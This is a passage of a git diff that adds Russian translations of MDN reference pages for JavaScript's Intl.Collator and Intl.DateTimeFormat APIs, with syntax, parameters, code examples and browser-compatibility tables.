+ <dd>Значение, запрошенное ключом расширения Unicode <code>"co"</code>, если он поддерживается для локали <code>locale</code>, либо значение <code>"default"</code>.</dd>
+ <dt><code>numeric</code></dt>
+ <dt><code>caseFirst</code></dt>
+ <dd>Значения, предоставленные для этих свойств в аргументе <code>options</code> или запрошенные ключами расширения Unicode <code>"kn"</code> и <code>"kf"</code>, либо значения по умолчанию. Если реализация не поддерживает эти свойства, они будут опущены.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-10.3.3', 'Intl.Collator.prototype.resolvedOptions')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/collator/supportedlocalesof/index.html b/files/ru/web/javascript/reference/global_objects/intl/collator/supportedlocalesof/index.html
new file mode 100644
index 0000000000..5aca430d38
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/collator/supportedlocalesof/index.html
@@ -0,0 +1,117 @@
+---
+title: Intl.Collator.supportedLocalesOf()
+slug: Web/JavaScript/Reference/Global_Objects/Intl/Collator/supportedLocalesOf
+tags:
+  - Collator
+  - Internationalization
+  - JavaScript
+  - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator/supportedLocalesOf
+---
+<div>{{JSRef("Global_Objects", "Collator", "Intl,DateTimeFormat,NumberFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Intl.Collator.supportedLocalesOf()</code></strong> возвращает массив, содержащий те из предоставленных локалей, что поддерживаются при сравнении строк без отката к локали по умолчанию среды выполнения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Intl.Collator.supportedLocalesOf(<var>locales</var>[, <var>options</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>Строка с языковой меткой BCP 47, либо массив таких строк. Описание общей формы и интерпретации аргумента <code>locales</code> смотрите на {{jsxref("Global_Objects/Intl", "странице, посвящённой объекту Intl", "#Locale_identification_and_negotiation", 1)}}.</dd>
+ <dt><code>options</code></dt>
+ <dd>
+  <p>Необязательный параметр. Объект, который может содержать следующее свойство:</p>
+  <dl>
+   <dt><code>localeMatcher</code></dt>
+   <dd>Используемый алгоритм сопоставления локалей. Возможными значениями являются <code>"lookup"</code> и <code>"best fit"</code>; значением по умолчанию является <code>"best fit"</code>. Информацию по этой опции смотрите на {{jsxref("Global_Objects/Intl", "странице, посвящённой объекту Intl", "#Locale_negotiation", 1)}}.</dd>
+  </dl>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Возвращает массив с подмножеством языковых меток, предоставленных в аргументе <code>locales</code>. Возвращаются те языковые метки, для которых среда выполнения поддерживает сравнение строк без отката к локали по умолчанию; при поиске используется предоставленный алгоритм сопоставления локалей.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_supportedLocalesOf" name="Example:_Using_supportedLocalesOf">Пример: использование <code>supportedLocalesOf</code></h3>
+<p>Предполагая, что среда выполнения поддерживает индонезийское и немецкое, но на балийское сравнение строк, метод <code>supportedLocalesOf</code> вернёт неизменными индонезийскую и немецкую языковые метки, даже несмотря на то, что сортировка <code>pinyin</code> не используется с индонезийским языком и вряд ли будет поддерживаться в немецком языке для Индонезии. Обратите внимание на используемую здесь спецификацию алгоритма <code>"lookup"</code> — сопоставление <code>"best fit"</code> может решить, что индонезийский язык является адекватным сопоставлением с балийским, поскольку большинство людей, говорящих на балийском, также понимают индонезийский, и поэтому может возвратиться ещё и языковая метка балийского языка.</p>
+<pre class="brush: js">var locales = ['ban', 'id-u-co-pinyin', 'de-ID'];
+var options = { localeMatcher: 'lookup' };
+console.log(Intl.Collator.supportedLocalesOf(locales, options).join(', '));
+// → "id-u-co-pinyin, de-ID"
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-10.2.2', 'Intl.Collator.supportedLocalesOf')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/format/index.html b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/format/index.html
new file mode 100644
index 0000000000..ff24de6317
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/format/index.html
@@ -0,0 +1,123 @@
+---
+title: Intl.DateTimeFormat.prototype.format
+slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/format
+tags:
+  - DateTimeFormat    J
+  - Internationalization
+  - JavaScript
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/format
+---
+<div>{{JSRef("Global_Objects", "DateTimeFormat", "Intl,Collator,NumberFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Intl.DateTimeFormat.prototype.format</code></strong> возвращает функцию-геттер, форматирующую дату согласно локали и параметрам форматирования соответствующего объекта {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateTimeFormat</var>.format(<var>date</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>date</code></dt>
+ <dd>Дата для форматирования.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Функция, возвращённая геттером <code>format</code>, форматирует дату согласно локали и параметрам форматирования соответствующего объекта {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_format" name="Example:_Using_format">Пример: использование функции <code>format</code></h3>
+<p>Использование функции, возвращённой геттером <code>format</code>, для форматирования одной даты, здесь пример для сербского языка:</p>
+<pre class="brush: js">var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
+var dateTimeFormat = new Intl.DateTimeFormat('sr-RS', options);
+console.log(dateTimeFormat.format(new Date()));
+// → "недеља, 7. април 2013."
+</pre>
+
+<h3 id="Example_Using_format_with_map" name="Example:_Using_format_with_map">Пример: использование функции <code>format</code> вместе с <code>map</code></h3>
+<p>Использование функции, возвращённой геттером <code>format</code>, для форматирования всех дат в массиве. Обратите внимание, что функция привязана к объекту {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}}, из которого она была получена, так что её можно передавать в {{jsxref("Array.prototype.map()")}} напрямую.</p>
+<pre class="brush: js">var a = [new Date(2012, 08), new Date(2012, 11), new Date(2012, 03)];
+var options = { year: 'numeric', month: 'long' };
+var dateTimeFormat = new Intl.DateTimeFormat('pt-BR', options);
+var formatted = a.map(dateTimeFormat.format);
+console.log(formatted.join('; '));
+// → "setembro de 2012; dezembro de 2012; abril de 2012"
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-12.3.2', 'Intl.DateTimeFormat.format')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/formattoparts/index.html b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/formattoparts/index.html
new file mode 100644
index 0000000000..acfff0a5a2
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/formattoparts/index.html
@@ -0,0 +1,169 @@
+---
+title: Intl.DateTimeFormat.prototype.formatToParts()
+slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/formatToParts
+tags:
+  - DateTimeFormat
+  - Intl
+  - JavaScript
+  - Method
+  - Prototype
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/formatToParts
+---
+<div>{{JSRef}}</div>
+
+<div>Метод <strong><code>Intl.DateTimeFormat.prototype.formatToParts()</code></strong> позволяет выполнять форматирование строк с учётом форматирования <code>DateTimeFormat</code>.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Intl.DateTimeFormat.prototype.formatToParts(date)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>date</code> {{optional_inline}}</dt>
+ <dd>Дата, которую нужно отформатировать.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Массив объектов {{jsxref("Array")}}, содержащий отформатированную дату по частям.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>formatToParts()</code> полезен для пользовательского форматирования строки даты. Он возвращает массив объектов {{jsxref("Array")}}, содерщащий специфичные для данного места токены, из которых можно выстроить пользовательскую строку, которая сохранит специфичные для данного места части. Структура возвращаемого значения методом <code>formatToParts()</code> выглядит так:</p>
+
+<pre class="brush: js">[
+  { type: 'day', value: '17' },
+  { type: 'weekday', value: 'Monday' }
+]</pre>
+
+<p>Возможные типы:</p>
+
+<dl>
+ <dt>day</dt>
+ <dd>Строка, используемая для дня, например, <code>"17"</code>.</dd>
+ <dt>dayPeriod</dt>
+ <dd>Строка, используемая для времени суток, например, <code>"AM"</code> или <code>"PM"</code>.</dd>
+ <dt>era</dt>
+ <dd>Строка, используемая для эры, например, <code>"BC"</code> или <code>"AD"</code>.</dd>
+ <dt>hour</dt>
+ <dd>Строка, используемая для часа, например, <code>"3"</code> или <code>"03"</code>.</dd>
+ <dt>literal</dt>
+ <dd>Строка, используемая для разделения значений даты и времени, например, <code>"/"</code>, <code>","</code>, <code>"o'clock"</code>, <code>"de"</code> и другие.</dd>
+ <dt>minute</dt>
+ <dd>Строка, используемая для минут, например, <code>"00"</code>.</dd>
+ <dt>month</dt>
+ <dd>Строка, используемая для месяца, например, <code>"12"</code>.</dd>
+ <dt>second</dt>
+ <dd>Строка, используемая для секунд, например, <code>"07"</code> или <code>"42"</code>.</dd>
+ <dt>timeZoneName</dt>
+ <dd>Строка, используемая для названия временной зоны, например, <code>"UTC"</code>.</dd>
+ <dt>weekday</dt>
+ <dd>Строка, используемая для дня недели, например, <code>"M"</code>, <code>"Monday"</code> или <code>"Montag"</code>.</dd>
+ <dt>year</dt>
+ <dd>Строка, используемая для года, например, <code>"2012"</code> или <code>"96"</code>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p><code>DateTimeFormat</code> выводит локализированные строки, которые нельзя изменять напрямую:</p>
+
+<pre class="brush: js">var date = Date.UTC(2012, 11, 17, 3, 0, 42);
+
+var formatter = new Intl.DateTimeFormat('ru', {
+  weekday: 'long',
+  year: 'numeric',
+  month: 'numeric',
+  day: 'numeric',
+  hour: 'numeric',
+  minute: 'numeric',
+  second: 'numeric',
+  hour12: true,
+  timeZone: 'UTC'
+});
+
+formatter.format(date);
+// "понедельник, 17.12.2012 г., 3:00:42 AM"
+</pre>
+
+<p>Однако, во многих пользовательских интерфейсах есть желание настроить форматирование этой строки. Метод <code>formatToParts</code> включает форматирование строки с учётом местности, созданной форматером <code>DateTimeFormat</code>, предоставляя вам строку по частям:</p>
+
+<pre class="brush: js">formatter.formatToParts(date);
+
+// возвращаемое значение:
+[
+  { type: 'weekday',   value: 'понедельник'},
+  { type: 'literal',   value: ', '         },
+  { type: 'day',       value: '17'         },
+  { type: 'literal',   value: '.'          },
+  { type: 'month',     value: '12'         },
+  { type: 'literal',   value: '.'          },
+  { type: 'year',      value: '2012'       },
+  { type: 'literal',   value: 'г., '       },
+  { type: 'hour',      value: '3'          },
+  { type: 'literal',   value: ':'          },
+  { type: 'minute',    value: '00'         },
+  { type: 'literal',   value: ':'          },
+  { type: 'second',    value: '42'         },
+  { type: 'literal',   value: ' '          },
+  { type: 'dayPeriod', value: 'AM'         }
+]
+</pre>
+
+<p>Теперь информация доступна по отдельности и может быть отформатирована и объединена снова в пользавотельском порядке. Например, используя {{jsxref("Array.prototype.map()")}}, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">стрелочные функции</a>, <a href="/ru/docs/Web/JavaScript/Reference/Statements/switch">инструкцию switch</a>, <a href="/ru/docs/Web/JavaScript/Reference/template_strings">шаблонные строки</a> и {{jsxref("Array.prototype.reduce()")}}.</p>
+
+<pre class="brush: js">var dateString = formatter.formatToParts(date).map(({type, value}) =&gt; {
+  switch (type) {
+    case 'dayPeriod': return `&lt;b&gt;${value}&lt;/b&gt;`;
+    default : return value;
+  }
+}).reduce((string, part) =&gt; string + part);
+</pre>
+
+<p>Здесь время суток будет выделено жирным с использованием метода <code>formatToParts()</code>.</p>
+
+<pre class="brush: js">console.log(formatter.format(date));
+// "понедельник, 17.12.2012 г., 3:00:42 AM"
+
+console.log(dateString);
+// "понедельник, 17.12.2012 г., 3:00:42 &lt;b&gt;AM&lt;/b&gt;"</pre>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Полифил для данного метода доступен <a href="https://github.com/zbraniecki/proposal-intl-formatToParts">здесь</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецфикация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype.formatToParts', 'Intl.DateTimeFormat.prototype.formatToParts')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.DateTimeFormat.formatToParts")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/index.html b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/index.html
new file mode 100644
index 0000000000..2bd44c9522
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/datetimeformat/index.html
@@ -0,0 +1,276 @@
+---
+title: Intl.DateTimeFormat
+slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
+tags:
+  - DateTimeFormat
+  - Internationalization
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
+---
+<div>{{JSRef("Global_Objects", "DateTimeFormat", "Intl,Collator,NumberFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Объект <strong><code>Intl.DateTimeFormat</code></strong> является конструктором объектов, включающих языко-зависимое форматирование даты и времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code>new Intl.DateTimeFormat([<var>locales</var>[, <var>options</var>]])
+Intl.DateTimeFormat.call(<var>this</var>[, <var>locales</var>[, <var>options</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>
+ <p>Необязательный параметр. Строка с языковой меткой BCP 47, либо массив таких строк. Описание общей формы и интерпретации аргумента <code>locales</code> смотрите на {{jsxref("Global_Objects/Intl", "странице, посвящённой объекту Intl", "#Locale_identification_and_negotiation", 1)}}. Разрешены следующие ключи расширения Unicode:</p>
+
+ <dl>
+  <dt><code>nu</code></dt>
+  <dd>Используемая система нумерации. Возможные значения включают в себя: <code>"arab"</code>, <code>"arabext"</code>, <code>"bali"</code>, <code>"beng"</code>, <code>"deva"</code>, <code>"fullwide"</code>, <code>"gujr"</code>, <code>"guru"</code>, <code>"hanidec"</code>, <code>"khmr"</code>, <code>"knda"</code>, <code>"laoo"</code>, <code>"latn"</code>, <code>"limb"</code>, <code>"mlym"</code>, <code>"mong"</code>, <code>"mymr"</code>, <code>"orya"</code>, <code>"tamldec"</code>, <code>"telu"</code>, <code>"thai"</code>, <code>"tibt"</code>.</dd>
+  <dt><code>ca</code></dt>
+  <dd>Используемый календарь. Возможные значения включают в себя: <code>"buddhist"</code>, <code>"chinese"</code>, <code>"coptic"</code>, <code>"ethioaa"</code>, <code>"ethiopic"</code>, <code>"gregory"</code>, <code>"hebrew"</code>, <code>"indian"</code>, <code>"islamic"</code>, <code>"islamicc"</code>, <code>"iso8601"</code>, <code>"japanese"</code>, <code>"persian"</code>, <code>"roc"</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code></dt>
+ <dd>
+ <p>Необязательный параметр. Объект с некоторыми или всеми из следующих свойств:</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>Используемый алгоритм сопоставления локалей. Возможными значениями являются <code>"lookup"</code> и <code>"best fit"</code>; значением по умолчанию является <code>"best fit"</code>. Информацию по этой опции смотрите на {{jsxref("Global_Objects/Intl", "странице, посвящённой объекту Intl", "#Locale_negotiation", 1)}}.</dd>
+  <dt><code>timeZone</code></dt>
+  <dd>Используемый часовой пояс. Единственным значением, которые реализации обязаны распознавать, является <code>"UTC"</code>; значением по умолчанию является часовой пояс по умолчанию среды выполнения. Реализации также могут распознавать названия часовых поясов из <a href="https://www.iana.org/time-zones">базы данных часовых поясов IANA</a>, например <code>"Asia/Shanghai"</code>, <code>"Asia/Kolkata"</code> или <code>"America/New_York"</code>.</dd>
+  <dt><code>hour12</code></dt>
+  <dd>Определяет, использовать ли 12-часовой формат времени (в противовес 24-часовому). Возможными значениями являются <code>true</code> и <code>false</code>; значение по умолчанию зависит от локали.</dd>
+  <dt><code>formatMatcher</code></dt>
+  <dd>Используемый алгоритм сопоставления форматов. Возможными значениями являются <code>"basic"</code> и <code>"best fit"</code>; значением по умолчанию является <code>"best fit"</code>. Смотрите следующий абзац, объясняющий, как использовать это свойство.</dd>
+ </dl>
+
+ <p>Следующие свойства описывают компоненты даты/времени, используемые в форматированном выводе, и их желаемые представления. Реализации должны поддерживать, как минимум, следующие подмножества:</p>
+
+ <ul>
+  <li><code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code>, <code>hour</code>, <code>minute</code>, <code>second</code></li>
+  <li><code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code></li>
+  <li><code>year</code>, <code>month</code>, <code>day</code></li>
+  <li><code>year</code>, <code>month</code></li>
+  <li><code>month</code>, <code>day</code></li>
+  <li><code>hour</code>, <code>minute</code>, <code>second</code></li>
+  <li><code>hour</code>, <code>minute</code></li>
+ </ul>
+
+ <p>Также реализации могут поддерживать другие подмножества и запросы будут сравниваться со всеми доступными подмножествами представлений для поиска наилучшего соответствия. Для такого сравнения доступно два алгоритма, нужный из которых выбирается свойством <code>formatMatcher</code>: <a href="http://www.ecma-international.org/ecma-402/1.0/#BasicFormatMatcher">чётко определённый алгоритм <code>"basic"</code></a> и зависящий от реализации алгоритм <code>"best fit"</code>.</p>
+
+ <dl>
+  <dt><code>weekday</code></dt>
+  <dd>Представление дней недели. Возможными значениями являются <code>"narrow"</code>, <code>"short"</code> и <code>"long"</code>.</dd>
+  <dt><code>era</code></dt>
+  <dd>Представление эр. Возможными значениями являются <code>"narrow"</code>, <code>"short"</code> и <code>"long"</code>.</dd>
+  <dt><code>year</code></dt>
+  <dd>Представление лет. Возможными значениями являются <code>"numeric"</code> и <code>"2-digit"</code>.</dd>
+  <dt><code>month</code></dt>
+  <dd>Представление месяцев. Возможными значениями являются <code>"numeric"</code>, <code>"2-digit"</code>, <code>"narrow"</code>, <code>"short"</code> и <code>"long"</code>.</dd>
+  <dt><code>day</code></dt>
+  <dd>Представление дней. Возможными значениями являются <code>"numeric"</code> и <code>"2-digit"</code>.</dd>
+  <dt><code>hour</code></dt>
+  <dd>Представление часов. Возможными значениями являются <code>"numeric"</code> и <code>"2-digit"</code>.</dd>
+  <dt><code>minute</code></dt>
+  <dd>Представление минут. Возможными значениями являются <code>"numeric"</code> и <code>"2-digit"</code>.</dd>
+  <dt><code>second</code></dt>
+  <dd>Представление секунд. Возможными значениями являются <code>"numeric"</code> и <code>"2-digit"</code>.</dd>
+  <dt><code>timeZoneName</code></dt>
+  <dd>Представление названий часовых поясов. Возможными значениями являются <code>"short"</code> и <code>"long"</code>.</dd>
+ </dl>
+
+ <p class="noinclude">Значение по умолчанию для всех свойств компонентов даты/времени является значение {{jsxref("Global_Objects/undefined", "undefined")}},но если все свойства компонентов будут равны {{jsxref("Global_Objects/undefined", "undefined")}}, то будет предполагаться, что значением свойств <code>year</code>, <code>month</code> и <code>day</code> является <code>"numeric"</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<h3 id="Properties" name="Properties">Свойства</h3>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.prototype", "Intl.DateTimeFormat.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства ко всем объектам.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.supportedLocalesOf", "Intl.DateTimeFormat.supportedLocalesOf()")}}</dt>
+ <dd>Возвращает массив, содержащий те из предоставленных локалей, которые поддерживаются без отката к локали по умолчанию среды выполнения.</dd>
+</dl>
+
+<h2 id="DateTimeFormat_instances" name="DateTimeFormat_instances">Экземпляры объекта <code>DateTimeFormat</code></h2>
+
+<h3 id="Properties_of_DateTimeFormat_instance" name="Properties_of_DateTimeFormat_instance">Свойства</h3>
+
+<p>Экземпляры <code>DateTimeFormat</code> наследуют следующие свойства из своего прототипа:</p>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_DateTimeFormat_instance" name="Methods_of_DateTimeFormat_instance">Методы</h3>
+
+<p>Экземпляры <code>DateTimeFormat</code> наследуют следующие методы из своего прототипа:</p>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_DateTimeFormat" name="Example:_Using_DateTimeFormat">Пример: использование <code>DateTimeFormat</code></h3>
+
+<p>При базовом использовании без определения локали <code>DateTimeFormat</code> использует локаль и опции по умолчанию.</p>
+
+<pre class="brush: js notranslate">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// Вывод format без аргументов зависит от реализации,
+// локали по умолчанию и часового пояса по умолчанию
+console.log(new Intl.DateTimeFormat().format(date));
+// → "12/19/2012", если код запущен с локалью en-US и часовым поясом America/Los_Angeles
+</pre>
+
+<h3 id="Example_Using_locales" name="Example:_Using_locales">Пример: использование аргумента <code>locales</code></h3>
+
+<p>Этот пример показывает некоторые локализованные форматы даты и времени. Для получения формата языка, используемого в пользовательском интерфейсе вашего приложения, убедитесь, что вы указали этот язык (и, возможно, несколько запасных языков) через аргумент <code>locales</code>:</p>
+
+<pre class="brush: js notranslate">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// Форматирование ниже предполагает, что местный часовой пояс равен
+// America/Los_Angeles для локали США
+
+// В америкаском английском используется порядок месяц-день-год
+console.log(new Intl.DateTimeFormat('en-US').format(date));
+// → "12/19/2012"
+
+// В британском английском используется порядок день-месяц-год
+console.log(new Intl.DateTimeFormat('en-GB').format(date));
+// → "20/12/2012"
+
+// В корейском используется порядок год-месяц-день
+console.log(new Intl.DateTimeFormat('ko-KR').format(date));
+// → "2012. 12. 20."
+
+// В большинстве арабоговорящих стран используют настоящие арабские цифры
+console.log(new Intl.DateTimeFormat('ar-EG').format(date));
